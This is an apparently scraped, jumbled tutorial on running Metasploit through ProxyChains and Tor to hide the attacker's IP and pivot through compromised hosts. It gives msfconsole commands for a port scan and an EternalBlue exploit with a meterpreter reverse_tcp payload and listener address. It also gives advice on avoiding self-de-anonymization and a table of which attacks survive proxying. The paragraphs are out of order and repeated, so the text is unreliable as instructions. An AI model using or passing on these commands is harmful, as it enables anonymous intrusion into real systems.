Metasploit With Proxychains < SIMPLE - 2027 >

Routing the Matrix: How to Run Metasploit Through ProxyChains (For Anonymity & Pivoting)

proxychains4 curl ifconfig.me If configured with Tor, you should see a Tor exit node IP, not your real IP.

sudo proxychains4 msfconsole ProxyChains needs to bind to privileged ports (under 1024) for certain modules, and raw packet operations often require root.

msf6 > use auxiliary/scanner/portscan/tcp msf6 > set RHOSTS 203.0.113.10 msf6 > set PORTS 1-1000 msf6 > set THREADS 10 msf6 > run Every SYN/ACK packet is wrapped in a TCP stream through your proxies. The target sees only the exit proxy IP. msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 192.168.1.100 # An internal IP reachable only via proxy msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 203.0.113.50 # Your listener IP (must be reachable via proxy chain or direct) msf6 > exploit Critical Note: The reverse_tcp payload will cause the target to directly call back to your LHOST . If your LHOST is your real IP, you've just de-anonymized yourself. metasploit with proxychains

Install and start Tor:

ls /etc/proxychains4.conf Edit the configuration:

Once inside msfconsole , you'll see the normal prompt, but every TCP connection from Metasploit will now traverse your proxy chain. Example 1: Anonymous Port Scanning from Metasploit Instead of Nmap, use Metasploit's auxiliary/scanner/portscan/tcp : Routing the Matrix: How to Run Metasploit Through

socks4 127.0.0.1 9050 If you have a compromised host acting as a SOCKS proxy (via auxiliary/server/socks_proxy ), add its IP:

| Feature | Works? | Explanation | | :--- | :--- | :--- | | TCP Connect scans ( scanner/portscan/tcp ) | ✅ Yes | Pure TCP handshake. | | Most TCP exploits (e.g., SMB, SSH, FTP) | ✅ Yes | As long as payload is TCP-based. | | Meterpreter reverse_tcp | ⚠️ Tricky | Callback must also go through proxy chain. Use bind_tcp or reverse_https with proxy-aware stagers. | | UDP-based exploits (SNMP, DNS) | ❌ No | ProxyChains only hooks TCP. | | SYN stealth scans | ❌ No | Requires raw sockets. | | Nmap -sS or -sU via proxychains | ❌ No | Use -sT or switch to Metasploit's portscan. | | db_nmap inside msf | ❌ No | Nmap launched from msf ignores the proxychains wrapper. |

sudo apt install tor -y sudo systemctl start tor Add this line to the proxy list: The target sees only the exit proxy IP

socks5 10.0.0.15 1080 socks5 172.16.1.20 1080 High risk of logging/hijacking. Use only in lab environments. Step 2: Verify the Proxy Chain Works Before launching Metasploit, test the chain with a simple tool:

proxychains4 nmap -sT -Pn -p 80 example.com Note: Only -sT (TCP Connect) scans work, not -sS (SYN stealth). The magic command is simple: prefix msfconsole with proxychains4 .